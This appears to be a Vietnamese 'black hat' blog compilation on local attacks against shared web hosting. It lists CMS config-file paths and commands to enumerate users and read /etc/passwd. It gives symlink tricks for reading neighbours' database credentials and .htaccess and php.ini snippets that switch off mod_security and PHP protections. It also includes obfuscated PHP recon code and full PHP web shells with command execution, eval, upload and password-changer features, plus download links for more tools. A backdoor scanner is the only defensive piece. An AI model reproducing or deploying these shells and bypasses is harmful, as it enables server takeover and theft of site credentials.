Kiến thức Black Hat: Local Attack

Path file config một số code

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFemGlWjJR_5uBkYBaZ5rR_ZlJ3LdQVlCLEDblXx7kweoll2l20EChqexK1sLndMwpgLnCPrxrlaxasgq1pIPdVw9lI2U6-_2Cg4Qp2kvix8v9P7oKxNPtEFr4-W645-nhSxrzsZaWFq8t/s1600/localattack.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFemGlWjJR_5uBkYBaZ5rR_ZlJ3LdQVlCLEDblXx7kweoll2l20EChqexK1sLndMwpgLnCPrxrlaxasgq1pIPdVw9lI2U6-_2Cg4Qp2kvix8v9P7oKxNPtEFr4-W645-nhSxrzsZaWFq8t/s1600/localattack.jpg" /></a></div> Vbulletin: public_html/includes/config.php PHPBB: public_html/config.php Joomla: public_html/configuration.php WordPress: public_html/wp-config.php ibp: public_html/conf_global.php php-fusion: public_html/config.php Smf: public_html/Settings.php phpnuke: public_html/html/config.php Xoops: public_html/mainfile.php ZenCart: public_html/includes/configure.php setidio: public_html/datas/config.php Discuz: public_html/config/config_ucenter.php Bo-Blog: public_html/data/config.php Nukeviet: public_html/config.php Drupal: public_html/sites/default/settings.php Textpattern: public_html/textpattern/config.php Serendipity: public_html/serendipity_config_local.inc.php Pligg CMS: public_html/libs/dbconnect.php Pivotx: public_html/pivotx/includes/minify/config.php

Path file config một số code

Vbulletin: public_html/includes/config.php PHPBB: public_html/config.php Joomla: public_html/configuration.php WordPress: public_html/wp-con...

Một số lệnh thông dụng trong local attack

<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOlEsDP7LHMUYKPSNjDuXN4W27TLQDLp-cPHpkA4G6tYAEGLk65Jn9CaOuy00ABoZSaQTxTCA18_WLyI-znCxnmD_4WytOlUZsA3FVcShvtOOT52jElt4g0mgd2RVuVa9CNj796rWU-yy1/s1600/index.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOlEsDP7LHMUYKPSNjDuXN4W27TLQDLp-cPHpkA4G6tYAEGLk65Jn9CaOuy00ABoZSaQTxTCA18_WLyI-znCxnmD_4WytOlUZsA3FVcShvtOOT52jElt4g0mgd2RVuVa9CNj796rWU-yy1/s1600/index.jpg" /></a></div>  1. Xem tên domain trên cùng 1 host <blockquote class="tr_bq">ls -la /etc/valiases cd /etc/vdomainaliases;ls -lia</blockquote> - Trường hợp đặc biết khi không thể xem user nằm cùng host thì thêm && vào <blockquote class="tr_bq">cd /etc/vdomainaliases && ls -lia</blockquote>2. Xem tên user <blockquote class="tr_bq">cat /etc/passwd less /etc/passwd more /etc/passwd</blockquote><blockquote class="tr_bq">tail /etc/passwd rev /etc/passwd tac /etc/passwd </blockquote> - Ngoài ra ta có thể dùng lệnh sau để xem user + Với cpanel <blockquote class="tr_bq"> ls -la /etc/valiases/domain.com</blockquote>Thay domain.com bằng tên miền của site bạn muốn xem user ví dụ:  <blockquote class="tr_bq">ls -la /etc/valiases/quylevhb.com</blockquote> + Với Directadmin <blockquote class="tr_bq"> cat /etc/virtual/domainowners</blockquote> - Còn rất nhiều cách để tìm user của victim như xem error log … <blockquote><div style="text-align: left;">tail -n 10000 /var/log/httpd/domains/domain.com.error.log</div><div style="text-align: left;">cat /usr/local/apache/logs/error_log | grep “domain.com” >>”user.txt”</div></blockquote><div style="text-align: left;">* Đối với nginx</div><blockquote><div style="text-align: left;">cat /var/log/nginx/error_log</div></blockquote><div style="text-align: left;">Hoặc</div><blockquote><div style="text-align: left;">cat /var/log/nginx/domain.com.error.log</div></blockquote> 3. Local sang victim <blockquote class="tr_bq">dir /path</blockquote> Path: là đường dẫn đến thư mục cần xem ví dụ: <blockquote class="tr_bq">dir /home/quylevhb/public_html</blockquote> 4. Xem nội dung file <blockquote class="tr_bq">cat /path/tên-file.php</blockquote>ví dụ: <blockquote class="tr_bq">cat /home/quylevhb/public_html/config.php</blockquote> 5. Symlink <blockquote class="tr_bq">ln -s /path/tên-file quylevhb.txt</blockquote>ví dụ: <blockquote class="tr_bq">ln -s /home/quylevhb/public_html/config.php quylevhb.txt</blockquote> 6. Một số lệnh khác <blockquote class="tr_bq">- mkdir:  Tạo thư mục - touch: tạo file - cp: copy file - mv: di chuyển file hoặc thư mục - rm: Xóa file - rmdir: xóa thư mục</blockquote>

Một số lệnh thông dụng trong local attack

1. Xem tên domain trên cùng 1 host ls -la /etc/valiases cd /etc/vdomainaliases;ls -lia - Trường hợp đặc biết khi không thể xem user nằm cùn...

[Video TUT] Local server 27.0.12.24

KShell 1.2 công cụ không thể thiếu khi local server window

http://www.mediafire.com/?nlwqmnzhjzu Password: kikicoco

[TUT] - Local BSG.vn

Code: http://www.mediafire.com/?yxamlzqnntt

Windows server bypass shell PHP

<blockquote class="tr_bq"><body bgcolor=black> <center>COMMAND EXECUTER (CODED BY NEO)</center> <div align="center"><center> <table width="558" height="560" border="1" id="AutoNumber1"> <tr> <td width="49%" height="158"><?php //is safe mod on ? start if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safe="ON"; } else {$safe="OFF";} echo "SAFE MOD IS :$safe "; //open safe mod end-- ?> <?php //is open basedir on ? start $n = @ini_get('open_basedir'); if (!empty($n)) { $base = @ini_restore("open_basedir"); } else {$base="NONE";} echo "OPEN_BASEDIR :$base "; //open basedir end-- ?> <?php //disable function start echo "Disable functions : "; if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";} //disable function end-- ?> <?php //phpver start $phpver=phpversion(); echo "PHP Version :$phpver "; //phpver end-- ?> <?php //path of win $dir = @getcwd(); echo "U'Re In :$dir "; //end ?> <?php print "<form method=post>"; print "cmd:<input size=50 name='command' value=''>"; print " "; print "file :<input size=50 name='file' value=''>"; print " "; print "<input type=submit name=_act value='Execute!'>"; $post = $_POST['command']; $file = $_POST['file']; ?> <?php $_file = new COM("WScript.Shell"); $_file ->Run('cmd.exe /c'.$post.' > '.dirname($_SERVER[SCRIPT_FILENAME]).'/'.$file.''); ?> </blockquote>

Windows server bypass shell PHP

<body bgcolor=black> <center>COMMAND EXECUTER (CODED BY NEO)</center> <div align=...

LiteSpeed Bypass

Litespeed forbidden bypass ln -s /home/victimuser/public_html/config.php test.shtml .htaccess: Options +FollowSymLinks DirectoryIndex s...

Forbiden bypass (ini method)

http://www.mediafire.com/?i2jes2db6w9inua Khi symljnk thường ghi vào 1 file bất kì ln -s /home/user/public_html/includes...

ByPass cat, dir, less

Thường thì chúng ta cat ,dir ,less được bởi các file trong thư viện /user/bin/ chưa chmod nếu chmod ko run được thì up các file này lên rồi ...

.htaccess

cgitelnet symlink htaccess symljnk ghi vào file.hack download file.hack về <blockquote class="tr_bq">Options +ExecCGI AddHandler cgi-script cgi pl cgi love jpg RewriteEngine on RewriteRule (.*).mil$ $1.cgi Options +FollowSymLinks DirectoryIndex cmd.html Options +Indexes RemoveHandler .hack AddType text/plain .hack</blockquote> <hr />SSI VIEW SYMLJNK .htaccess <blockquote class="tr_bq">Options +Includes AddType text/html .shtml AddHandler server-parsed .shtml </blockquote><blockquote class="tr_bq">ln -s /et/passwd juno.txt  </blockquote>juno.shtml: <blockquote class="tr_bq"> </blockquote><hr /><div style="color: yellow;">direct symljnk view file.php dưới dạng file text</div><blockquote class="tr_bq" style="color: lime;">options all Options +FollowSymLinks Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType text/plain .php AddHandler server-parsed .php </blockquote> <hr /> Safe mod off <blockquote class="tr_bq">Options +FollowSymLinks DirectoryIndex ssssss.htm Options All Indexes <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off SecFilterCheckURLEncoding Off SecFilterCheckCookieFormat Off SecFilterCheckUnicodeEncoding Off SecFilterNormalizeCookies Off </IfModule> SetEnv PHPRC /home/user/public_html/php.ini suPHP_ConfigPath /home/user/public_html/php.ini  </blockquote><hr />or <blockquote class="tr_bq">Options +ExecCGI AddHandler cgi-script cgi pl cgi love jpg RewriteEngine on RewriteRule (.*)\.mil$ $1.cgi Options +FollowSymLinks DirectoryIndex cmd.html Options +Indexes RemoveHandler .hack AddType text/plain .hack ## milw0rmvn exploit ## </blockquote>php.ini: <blockquote class="tr_bq">safe_mode=Off Disable_Functions=None Open_Basedir=None Safe_Exec_Dir=None Safe_Gid=None Safe_Include_Dir=None Sql.safe_mode=None cURL=Off MySQL=Off MSSQL=Off PostgreSQL=Off Oracle=Off</blockquote><hr />or <blockquote class="tr_bq"><IfModule mod_security.c> SecFilterEngine Off SecFilterSanPOST Off </IfModule> #START # Options +ExecCGI AddHandler cgi-script cgi pl tmt Options +FollowSymLinks DirectoryIndex seees.html Options +Indexes </blockquote><hr /><div style="color: yellow;">VIEW file.php</div><blockquote class="tr_bq">Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any  </blockquote><hr />hạ safe_mode php.ini <blockquote class="tr_bq">safe_mode = Off disable_functions = "" </blockquote>.htaccess <blockquote class="tr_bq"><IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off SecFilterCheckURLEncoding Off SecFilterCheckCookieFormat Off SecFilterCheckUnicodeEncoding Off SecFilterNormalizeCookies Off </IfModule>  </blockquote>.htaccess <blockquote class="tr_bq">AddHandler application/x-httpd-php4 .php .php4 .php3 </blockquote>.htaccess <blockquote class="tr_bq">php_flag safe_mode off php_flag disable_functions ""  </blockquote>.htaccess <blockquote class="tr_bq"> php_admin_value disable_functions "" php_admin_value safe_mode off </blockquote>.htaccess <blockquote class="tr_bq">php_value safe_mode off php_value disable_functions ""</blockquote>.htaccess <blockquote class="tr_bq">SetEnv PHPRC /home/user/public_html/php.ini</blockquote>.htaccess <blockquote class="tr_bq">suPHP_ConfigPath /home/user/public_html/php.ini</blockquote>.htaccess <blockquote class="tr_bq"><Files *.php> ForceType application/x-httpd-php4 </Files> </blockquote>

.htaccess

cgitelnet symlink htaccess symljnk ghi vào file.hack download file.hack về Options +ExecCGI AddHandler cgi-script cgi pl cgi love jpg Rew...

Backdoor Scanner

<div style="text-align: center;"><img alt="" border="0" height="176" id="ncode_imageresizer_container_1" src="http://oi56.tinypic.com/zygcci.jpg" width="400" /></div> <div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Code:</div><pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"><?php /* ################################################################################# # [+] File Name : Devilzc0de Backdoor Scanner # [+] Author : peri.carding # [+] Thanks goes to : # [+] Sockaddr_in, shreder.g1rl, stupiditty ################################################################################## */ putenv("TZ=Europe/Britania"); ?> <head> <title>Devilzc0de Backdoor Scan</title> <script language="JavaScript" type="text/JavaScript">  </script> <style type="text/css">  </style> <style type="text/css"> #patch {position:absolute; height:1; width:1px; top:0; left:0;} </style> </head> <body> <center> Backdoor Scanner</center> <?php if(isset($_REQUEST['edit']) && $_REQUEST['edit']=='file'){ if(isset($_POST['yes'])){ $filename = $_GET['file']; echo " <center>".$filename." deleted... "; unlink($filename); echo "<META HTTP-EQUIV=Refresh CONTENT=\"2; URL=javascript:window.close();\">"; }else{ if($_POST['update']) { $filename = $_POST['file']; if(is_writable($filename)) { $handle = fopen($filename, "w+"); $isi=$_POST['content']; fwrite($handle, stripslashes($isi)); fclose($handle); $stat= "<center>edited successfully "; } else { $stat= "<center>Error! File may not be writable.</center>"; } } if($_POST['close']) { echo "<META HTTP-EQUIV=Refresh CONTENT=\"0; URL=javascript:window.close();\">"; } $filename = $_GET['file']; if (file_exists($filename)){ $vuln = $_GET['bug']; $handle = fopen($filename, "r"); $contents = fread($handle, filesize($filename)); ?> <center> <table> <tr><td align="left" class="me"><?=$filename?>&nbsp;&nbsp;>> Contains :&nbsp;<?=$vuln?></td></tr> <tr><td class="me"> <form method="post" action=""> <input type="hidden" name="file" value="<?=$filename?>"> <textarea name="content" cols="80" rows="15"><?=htmlspecialchars($contents)?></textarea> </td></tr> <tr><td align="center" class="me"> <?php if($_POST['delete']) { echo "Are you sure to delete ".$filename." ?"; ?> <tr><td align="center" class="me"> <input type="submit" name="yes" value=" Y E S "> <input type="submit" name="no" value=" N O "> </td></tr> <?php }else{ echo $stat; ?> </td></tr> <tr><td align="right" class="me"> <input type="submit" name="close" value=" C l o s e "> <input type="submit" name="delete" value=" D e l e t e "> <input type="submit" name="update" value=" S a v e "> </td></tr> <?php } fclose($handle); ?> </table> </form> <?php }else{ echo " <center>".$filename." not exist... "; echo "<META HTTP-EQUIV=Refresh CONTENT=\"4; URL=javascript:window.close();\">"; } ?> </center> <?php } }elseif(isset($_POST['Submit'])){ $ceks = array('base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file'); foreach($ceks as $ceker){ if($_POST[$ceker]<>""){ $six.=$_POST[$ceker]."."; } } $cek = explode('.', $six); function ListFiles($dir) { if($dh = opendir($dir)) { $files = Array(); $inner_files = Array(); while($file = readdir($dh)) { if($file != "." && $file != ".." && $file[0] != '.') { if(is_dir($dir . "/" . $file)) { $inner_files = ListFiles($dir . "/" . $file); if(is_array($inner_files)) $files = array_merge($files, $inner_files); }else{ array_push($files, $dir . "/" . $file); } } } closedir($dh); return $files; } } $target=$_SERVER['DOCUMENT_ROOT']; ?> <center> <table border="0" width="90%" cellpadding="5"> <tr> <td class="me" align="right" width="30">No</td> <td class="me" align="center" width="105"> T y p e </td> <td class="me" align="center"> F i l e&nbsp;&nbsp;L o c a t i o n </td> <td class="me" align="center" width="150"> L a s t&nbsp;&nbsp;E d i t </td> <td class="me" align="right" width="80">F i l e&nbsp;&nbsp;S i z e</td> </tr> <?php foreach (ListFiles($target) as $key=>$file){ $nFile = substr($file, -4, 4); if($nFile == ".php"){ if($file==$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF']){ }else{ $ops = @file_get_contents($file); $op=strtolower($ops); $arr = array('c99_buff_prepare' => 'c 9 9', 'abcr57' => 'r 5 7'); $sis=0; if($op) $size=filesize($file); $last_modified = filemtime($file); $last=date("M-d-Y H:i", $last_modified); foreach($arr as $key => $val) { if(@preg_match("/$key/", $op)) { $sis=1; $i++; ?> <tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)"> <td align="right"><blink><?=$i?></blink></td> <td align="center"><blink><?=$val?></blink></td> <td align="left"><blink> <a href="#" class="abunai" onclick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$val?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a> </blink></td> <td align="center"><blink><?=$last?> GMT+9</blink></td> <td align="right"><blink><?=$size?> byte</blink></td> <script language="javascript"> var bgcolor = "transparent"; var change_color = "#444444" function mover(aa) { aa.style.backgroundColor = change_color; } function mout(aa) { aa.style.backgroundColor = bgcolor; } </script> </tr> <?php } } if($sis<>"1"){ if((@preg_match("/system$(.*?)$/", $op))&&(@preg_match("/<pre>/", $op))&&(@preg_match("/empty$(.*?)$/", $op))) { $sis="2"; $i++; $val="hidden shell"; ?> <tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)"> <td align="right"><?=$i?></td> <td align="center"><?=$val?></td> <td align="left"> <a href="#" class="xxx" onclick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$val?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a> </td> <td align="center"><?=$last?> GMT+9</td> <td align="right"><?=$size?> byte</td> <script language="javascript"> var bgcolor = "transparent"; var change_color = "#444444" function mover(aa) { aa.style.backgroundColor = change_color; } function mout(aa) { aa.style.backgroundColor = bgcolor; } </script> </tr> <?php } } if($sis=="0"){ foreach($cek as $bugs) { if ($bugs<>""){ if(@preg_match("/$bugs$(.*?)$/", $op)) { $i++; ?> <tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)"> <td align="right"><?=$i?></td> <td align="center"><?=$bugs?></td> <td align="left"> <a href="#" onclick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$bugs?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a> </td> <td align="center"><?=$last?> GMT+9</td> <td align="right"><?=$size?> byte</td> <script language="javascript"> var bgcolor = "transparent"; var change_color = "#444444" function mover(aa) { aa.style.backgroundColor = change_color; } function mout(aa) { aa.style.backgroundColor = bgcolor; } </script> </tr> <?php } } } } if($_POST['textV']<>""){ $text=$_POST['textV']; if(@preg_match("/$text/", $op)) { $i++; ?> <tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)"> <td align="right"><?=$i?></td> <td align="center"><?=$text?></td> <td align="left"> <a href="#" onclick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$text?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a> </td> <td align="center"><?=$last?> GMT+9</td> <td align="right"><?=$size?> byte</td> <script language="javascript"> var bgcolor = "transparent"; var change_color = "#444444" function mover(aa) { aa.style.backgroundColor = change_color; } function mout(aa) { aa.style.backgroundColor = bgcolor; } </script> </tr> <?php } } } } } if($i==0){ foreach($cek as $bugs) { if ($bugs<>""){ $x++; ?> <tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)"> <td align="right"><?=$x?></td> <td align="center"><?=$bugs?></td> <td align="center"> not exist </td> <td align="center"> no record </td> <td align="right"> -&nbsp;&nbsp;&nbsp;&nbsp;byte </td> </tr> <?php } } } ?> </table> <?php }else{ $find = array('default','base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file'); ?> <form id="fCheck" name="fCheck" method="post" action="" autocomplete="off"> <center> <table class="single" width="400" border="1" cellpadding="10"> <tr><td class="me"><center> S e l e c t &nbsp;&nbsp;s c a n&nbsp;&nbsp;t y p e : <table class="me" width="200"> <tr><td class="me"> <script language="javascript"> function cekKlik(){ if (!document.fCheck.cekV.checked) document.fCheck.textV.disabled=true; else document.fCheck.textV.disabled=false; if(document.fCheck.cekV.checked){ om = om + 1; }else{ if(om > 0 ){ om = om - 1; }else{ om = om; } } if(om != 0){ document.fCheck.Submit.disabled=false; }else{ document.fCheck.Submit.disabled=true; } } </script> <?php //dari sini foreach($find as $bug) { ?> <script language="javascript"> var om = 0; function checkValue<?=$bug?>(){ if(document.fCheck.<?=$bug?>.checked){ om = om + 1; }else{ if(om > 0 ){ om = om - 1; }else{ om = om; } } if(om != 0){ document.fCheck.Submit.disabled=false; }else{ document.fCheck.Submit.disabled=true; } } </script> <input onclick="checkValue<?=$bug?>();" name="<?=$bug?>" type="checkbox" id="<?=$bug?>" value="<?=$bug?>" />&nbsp;<?=$bug?> <?php } ?> <input name="cekV" type="checkbox" onClick="cekKlik();" id="cekV" value="cekV"> <input class="isi" disabled="disabled" name="textV" value="other key word" onFocus="this.select()" type="text" id="textV"> <input type="hidden" name="asal" value="abcd"> <input disabled="disabled" type="submit" name="Submit" value=" S t a r t&nbsp;&nbsp;S c a n " /> </td></tr> </table> </td></tr></table> </form> <? } ?> <hr width="300"> <center> Backdoor Scanner BDS &copy peri.carding 2011 </body></pre></div>

Backdoor Scanner

Code: <?php /* ################################################################################# # [+] File Name : Devilzc0de Backdoor Sc...

Server Jumping Finder Version 1.0

Server Jumping Finder Version 1.0 srverdeki sitelerin dizinlerini bulmaya yarar Ok, Let's Begin ... ************************** ? ******************* [Found !] /home/nhcsrvc/public_html/ [Found !] /home/spinny/public_html/ [Found !] /home/rvadmin/public_html/ [Found !] /home/nethead/public_html/ [Found !] /home/lifespy/public_html/ þeklinde <div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Code:</div><pre class="alt2" dir="ltr" style="border: 1px inset; height: 194px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"><? $x15="\x61rray\137\x70\165\x73h"; $x16="f\x65\157\146"; $x17="fgets"; $x18="\146\x6f\160\145\156"; $x19="in\x69\137g\145\164"; $x1a="is\x5f\x72\145ad\141b\154e"; $x1b="\x73\x65t_t\151\155\x65\137li\155\x69t"; $x1c="\x73\x74\162\x70\157\163"; $x1d="\163\165b\x73t\x72"; ($x0b = $x19('safe_mode') == 0) ? $x0b = 'off': die('Error: Safe Mode is On');$x1b(0);@$x0c = $x18('/etc/passwd','r');if (!$x0c) { die(' Error : Can Not Read Config Of Server '); }$x0d = array();$x0e = array();$x0f = array();$x10 = 0;echo "\074b>\x3cfo\x6e\x74\040fa\x63\x65=\126\x65\x72\x64an\141\x20s\151\x7a\x65\075\x33 c\157\154\157\x72\x3d\x54\x65\141\x6c>\x20\123\x65\x72\166\145\x72 \x4a\x75\155\160in\x67\x20\x46\x69\x6ed\145\162 \126er\x73ion\x201.\x30\x20<\057f\157\x6et\x3e<\x2f\x62\x3e<\142\x72\040\x2f\x3e";echo "<font \146\x61\x63\145\075V\145rd\x61\x6ea s\x69\172\x65=\x32 \x63\x6fl\x6f\162\075Ma\162\x6fo\x6e\x3eC\x72\x65at\145d \x42\x79\040\x58\141\144\160\x72ito\170 \x2c \0620\061\x30,\040\124\141\156\x67\145r\x61\x6e\147 <\057\x66\157\156\x74\076\074b\x72\040\x2f>";echo "\074\142\162\x20\057\076";echo "<\142>\x3c\146o\156t\x20\146\141\x63\145=V\145\x72\144\141\x6ea \x73\x69z\x65=\062\076\104ed\x69\143\141\164\x65\144\x20\124o\x20H\141c\x6b\145\ ? 162-\103\151\x73\141\x64\141\x6e\x65\x2e\x4fr\147\x20<\x2f\146\157n\164\076\074\x2f\142><\x62\x72 \x2f>";echo "\x3c\x66o\x6e\164\040f\141\143e\x3d\126\x65\162\x64\141n\x61\040\163\151z\x65\x3 ? d\x32\040\x63\157l\157\162\075\x4d\x61ro\157\156>\040\124ha\156ks\x20To\x20#\x20\104\145v\151\x6c\172c\060\x64\x65 \043\040\110\141c\x6be\x72\040\116e\167\x62\x69\145\x20\x23 \130\103\x6f\x64\145 \043 \112a\163a\153om \x23\x20\105\143h\x6f\040\043\040\x59\103L\x20#\x20\x49\x6e\144\x6fn\145sia\x6e\ ?x20\103\x79b\x65r \x23\040\x61\x6ed\040\x61l\x6c\x20Hack\x65\x72\040F\157\162\x75\155\040\111\x6e In\144o\x6ee\x73\x69\141 <\057\x66\x6f\x6e\x74\x3e<\x62r /\x3e";echo "\x3c\x62r /\x3e";echo "<f\x6fnt\x20\146\x61\143\x65\x3d\126\x65\162\144a\156a \163iz\145=2\x20c\x6f\154\157\162\075\x4d\x61ro\157n\076 \x4f\x6b\054\x20L\x65\x74'\x73 B\x65g\x69n \x2e\x2e\056\x20\x3c/\x66\x6f\x6et><b\x72\x20\x2f\076";echo "\x3c\x66\x6fnt\x20f\141\143\145=\126er\144a\x6ea\x20\x73i\x7ae=\062 c\x6f\x6c\x6fr=\x54\x65al>\x2a\052\052*\052\x2a\x2a**\052\052\052\x2a***\x2a*\x2a\052\x2a\x2a**\052\x2a ? *\x2a\052\052\052\052**\052***\x2a*\x2a*\x2a\052*<\x2f\146\157\156t\076\x3c\142r\x20/>";while(!$x16($x0c)){$x11 = $x17($x0c);if ($x10 > 35){$x12 = $x1c($x11,':');$x13 = $x1d($x11,0,$x12);$x14 = '/home/'.$x13.'/public_html/';if (($x13 != '')){if ($x1a($x14)){$x15($x0e,$x13);$x15($x0d,$x14);echo "\x3c\x66on\164\x20f\141\x63\x65\x3dVe\162da\156\141\x20\163\x69ze\0752\040co\154 ?\x6f\x72=\x52\145\x64\x3e[F\x6f\x75\156d\x20\041\135 $x14\074/\x66\157n\x74\x3e";echo "<\142\x72/\x3e";}}}$x10++;}echo "\074\x66on\x74 \146\141ce\075\x56e\x72\x64\141\x6e\141\040\x73\151z\x65\075\062 \x63\x6flo\162\x3d\124\145\x61\154\076\x2a\x2a\x2a\052\x2a*\052\052*\x2a\052*\x2 ? a*\052\x2a*\052**\052*\x2a**\052\x2a\x2a**\052*\052\x2a\052\x2a\052**\052**\x2a\ ?x2a\052</font\076<b\x72\x20\057\x3e";echo "\x3cb\162 /\076";echo "<\146\157\x6et\x20\x66\x61\x63\x65\x3dV\x65\162\x64a\x6e\x61 \163\151\x7a\145=\062\040c\157l\157\x72=M\141\x72\157\x6f\156\076\x54\x68an\x6bs ? \106\x6fr \125\x73\x69n\x67 \x54\150\x69s S\151m\160\x6c\x65\x20\124\x6f\x6f\x6c\x73.\040 \x5e_\x5e\074\057\146\157\x6et\x3e\074b\162 \x2f\076";echo "\074f\157\156t\x20\x66\141ce=V\x65rd\x61\156a\040\163\x69\172\145\x3d\062\076<\057\x66ont\x3e";echo "<f\157n\164\040f\x61\143\145\x3d\126e\162dana\040\163iz\145=\x32\x3e\074/\146\157\156t>"; ?></pre></div>

Server Jumping Finder Version 1.0

Server Jumping Finder Version 1.0 srverdeki sitelerin dizinlerini bulmaya yarar Ok, Let's Begin ... ************************** ? ******...

özel bir shell

<div id="post_message_6052"><div style="margin-top: 5px; margin: 20px;"><div class="smallfont" style="margin-bottom: 2px;">Code:</div><pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"><?php $fdownload=$_GET['fdownload']; if ($fdownload <> "" ){ $path_parts = pathinfo("$fdownload"); $entrypath=$path_parts["basename"]; $name = "$fdownload"; $fp = fopen($name, 'rb'); header("Content-Disposition: attachment; filename=$entrypath"); header("Content-Length: " . filesize($name)); fpassthru($fp); exit; } echo '<center><img border="0" src="http://www4.0zz0.com/2011/04/12/18/491768547.jpg"><body bgcolor=black alink="#20c0ff" vlink="#20c0ff" link="#20c0ff">'; echo "</center>PHP Is :"; echo "<html> "; echo phpversion(); echo ""; echo " "; if(@ini_get("safe_mode")){$safe_m="ON ";}else{$safe_m="OFF ";} echo " <center> </center>"; echo "</center>SafeMode : [ $safe_m ]"; echo "<center></center>"; echo "Server:"; echo ""; echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); echo"<style type='text/css'>body{cursor: crosshair;}</style>"; $xm8 = @ini_get("open_basedir"); if ($xm8 or strtolower($xm8) == "[ON]") {$openbasedir = true; $hopenbasedir = "".$xm8."";} else {$openbasedir = false; $hopenbasedir = "[OFF] - not secure";} echo(" "); echo("Open Base Dir: $hopenbasedir"); echo(" "); echo "PostgreSQL: "; $pg_on = @function_exists('pg_connect'); if($pg_on){echo "ON";}else{echo "OFF";} echo(" \ "); echo "MSSQL: "; $mssql_on = @function_exists('mssql_connect'); if($mssql_on){echo "ON";}else{echo "OFF";} echo(" \ "); echo "MySQL: "; $mysql_on = @function_exists('mysql_connect'); if($mysql_on){ echo "ON"; } else { echo "OFF"; } echo " "; echo "Oracle: "; $ora_on = @function_exists('ocilogon'); if($ora_on){echo "On";}else{echo "OFF";} echo ""; echo " Disable Functions: "; if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";} echo " Register globals: "; $reg_g = @ini_get("register_globals"); if($reg_g){ echo "ON"; } else { echo "OFF"; } echo ""; error_reporting(0); $me = basename(__FILE__); $cookiename = "wieeeee"; if(isset($_GET['p']) && $_GET['p'] == "about") { setcookie ($cookiename, "", time() - 3600); reload(); } if(isset($_GET['dir'])) { chdir($_GET['dir']); } echo " <center> </center>"; echo "</center>"; echo "Uname -A = ".php_uname().""; echo "<center></center>"; echo "UID : ".@exec('id').""; print ' Your IP = '.@$_SERVER['REMOTE_ADDR'].' '.@$_SERVER['REMOTE_HOST'].' '; echo " <center> </center>"; $serverIP = gethostbyname($_SERVER["HTTP_HOST"]); echo "Server IP = ".gethostbyname($_SERVER["HTTP_HOST"])." [<a href='http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all' target=\"_blank\">Bing Search</a>]"; echo '<a href=?><center>[ home ]<a>'; $pages = array( 'cmd' => '<center>[ Command ]', 'eval' => '[ Eval Code ]', 'mysql' => '[ MySQL Query ]', 'chmod' => '[ Chmod File ]', 'phpinfo' => '[ PHPinfo ]', 'cpanelftp' => '[ Cpanel,FTP تخمين ]', 'upload' => '[ Upload File-Upload File From URL]', 'uuuuuusers' => '[ Users ]', 'symlink' => '[ SymLink ]<center>', 'scahlf' => '[ show_source & highlight_file ]', 'vbhack' => '[ Vbulletin Hack Tools ]', 'wpps' => '[ WordPress Password Changer ]', 'jpc' => '[ Joomla Password Changer ]', 'capff' => '[ قاهر اليهود للمنتديات ]', 'about' => '[ About ]' ); $header = '<html> <title>'.getenv("HTTP_HOST").' ~ X88 SHELL</title> <head> <style> td { font-size: 12px; font-family: verdana; color: #ffa080; background: black; } #d { background: #000060; } #f { background: #000060; } #s { background: #0000ff; } #d:hover { background: green; } #f:hover { background: red; } pre { font-size: 10px; font-family: verdana; color: #4080ff; font-size:8pt; } a:hover { text-decoration: none; } input,textarea,select { color: #ffffff; border: 1px dotted #ff4040; background-color: #000000; background: #000000; } hr { color: #ffff20; background-color: #ffff20; height: 5px; } </style> </head> <body bgcolor=black alink="#20c0ff" vlink="#20c0ff" link="#20c0ff"> <table width=100%><td id="header" width=100%> '; foreach($pages as $page => $page_name) { $header .= '<a href="?p='.$page.'&dir='.realpath('.').'">'.$page_name.'</a> '; } $header .= ' <hr>'.show_dirs('.').'</td><tr><td>'; print $header; $footer = '<tr><td><hr><center>&copy; 2011-2012 By : ML7s-HackerS & Dr.Zero </center></td></table></body></head></html>'; if(isset($_REQUEST['p'])) { 